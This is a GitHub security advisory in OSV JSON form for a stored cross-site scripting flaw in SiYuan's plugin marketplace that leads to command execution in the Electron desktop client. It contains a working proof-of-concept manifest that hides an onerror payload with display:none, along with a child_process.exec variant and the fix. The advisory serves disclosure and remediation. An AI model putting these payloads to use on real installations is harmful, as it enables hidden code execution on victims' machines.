CVE-2026-45375: Github.com/siyuan note/siyuan/kernel Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-27qc-m5gf-jv5r",
  "modified" : "2026-06-08T20:13:24Z",
  "published" : "2026-05-13T15:33:57Z",
  "aliases" : [ "CVE-2026-45375" ],
  "summary" : "SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution",
  "details" : "### Summary\n\nSiYuan's Bazaar (community marketplace) renders the `name` and `version` fields of a package's `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` — `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.\n\nBecause the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is **zero-click on the list view** — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.\n\nA second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink.\n\n### Details\n\n**Server-side allowlist — `kernel/bazaar/package.go:134-145`:**\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil { return }\n    pkg.Author = html.EscapeString(pkg.Author)\n    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n    // pkg.Name and pkg.Version are NOT escaped\n}\n```\n\n**`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:**\n```go\n// installed.go:59\npkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)\n\n// package.go:148-162\nfunc GetPreferredLocaleString(m LocaleStrings, fallback string) string {\n    if len(m) == 0 { return fallback }   // ← unescaped pkg.Name reaches the renderer\n    if v := strings.TrimSpace(m[util.Lang]); v != \"\" { return v }\n    if v := strings.TrimSpace(m[\"default\"]);  v != \"\" { return v }\n    if v := strings.TrimSpace(m[\"en_US\"]);    v != \"\" { return v }\n    return fallback\n}\n```\n\n**Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:**\n```go\n// package.go:127  (only the local install path calls sanitizePackageDisplayStrings)\nsanitizePackageDisplayStrings(ret)\n```\n`buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel's `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow.\n\n**The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:**\n```go\n// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义，避免 XSS。\n// （跟思源内核 kernel/bazaar/package.go 保持一致）\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n    if pkg == nil { return }\n    pkg.Author = html.EscapeString(pkg.Author)\n    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n}\n```\nThe function is byte-identical to the kernel helper — the Chinese comment translates to *\"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)\"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.\n\n**Frontend sinks — `app/src/config/bazaar.ts`:**\n```ts\n// :430 — installed-plugin card list (zero-click)\n${item.preferredName}\n\n// :526 — package detail view\n<a href=\"${data.repoURL}\" ... title=\"GitHub Repo\">${data.name}</a>\n\n// :540 — package detail view, version stripe\n<div ... style=\"line-height: 20px;\">${window.siyuan.languages.currentVer}<br>v${data.version}</div>\n```\nThe constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600).\n\n**Renderer privilege boundary — `app/electron/main.js:407-411`:**\n```js\nwebPreferences: {\n    nodeIntegration: true,\n    webviewTag: true,\n    webSecurity: false,\n    contextIsolation: false,\n}\n```\nJavaScript executing in the marketplace tab can call `require('child_process').exec(...)` directly, escalating DOM XSS to OS command execution.\n\n### PoC\n\nEnd-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload.\n\n**1. Run a stock SiYuan v3.6.5 kernel:**\n```sh\nmkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin\ndocker run -d --name siyuan-poc -p 16806:6806 \\\n  -v /tmp/siyuan-poc-ws:/siyuan/workspace \\\n  -e SIYUAN_ACCESS_AUTH_CODE=test123 \\\n  b3log/siyuan:v3.6.5 \\\n  --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:**\n```json\n{\n  \"name\": \"Markdown Utilities<img src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\">\",\n  \"displayName\": {},\n  \"description\": {\"default\": \"A small toolkit of markdown helpers - table sort, link checker, wordcount, etc.\"},\n  \"author\": \"markdown-utils\",\n  \"version\": \"1.4.2\",\n  \"url\": \"https://github.com/markdown-utils/markdown-utilities\",\n  \"backends\": [\"all\"],\n  \"frontends\": [\"all\"]\n}\n```\nThe visible portion of the `name` field is the literal string `Markdown Utilities`. The `<img>` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.\n\n**3. Verify the kernel returns the unescaped payload:**\n\nAuthenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user:\n```sh\ncurl -s -b 'siyuan=<session-cookie>' \\\n  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"frontend\":\"desktop\",\"keyword\":\"\"}'\n```\nObserved (verbatim):\n```json\n{\n  \"preferredName\": \"Markdown Utilities<img src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\">\",\n  \"name\":          \"Markdown Utilities<img src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\">\",\n  \"version\":       \"1.4.2\"\n}\n```\nThe HTML payload arrives at the client unmodified.\n\n**4. Trigger via the UI:**\n\nIn a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `<img>` element, fails to load `src=x`, fires `onerror`, and **`alert(\"SiYuan Bazaar XSS\")` pops**. The card itself displays as a normal-looking \"Markdown Utilities\" entry; the malicious markup is invisible.\n\n**5. Electron RCE substitution:**\n\nThe same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:\n```json\n\"name\": \"Markdown Utilities<img src=x onerror=\\\"require(`child_process`).exec(`open -a Calculator`)\\\" style=\\\"display:none\\\">\"\n```\nOn any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.\n\n### Impact\n\n- **Stored XSS → arbitrary OS command execution** in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.\n- **Triggers on view, not on install.** Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any \"Install\" or \"Update\" button is clicked.\n- **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate.\n- **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification.\n- **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel.\n\n### Suggested fix\n\nPrimary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`:\n```diff\n func sanitizePackageDisplayStrings(pkg *Package) {\n     if pkg == nil { return }\n     pkg.Author = html.EscapeString(pkg.Author)\n+    pkg.Name    = html.EscapeString(pkg.Name)\n+    pkg.Version = html.EscapeString(pkg.Version)\n     for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n     for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n+    for i, kw := range pkg.Keywords    { pkg.Keywords[i]   = html.EscapeString(kw) }\n }\n```\n\nSecondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to \"kept in sync with the SiYuan kernel kernel/bazaar/package.go\").\n\nTertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper.\n\nRenderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260421031503-96dfe0bea474"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45375"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:33:57Z",
    "nvd_published_at" : "2026-05-14T19:16:39Z"
  }
}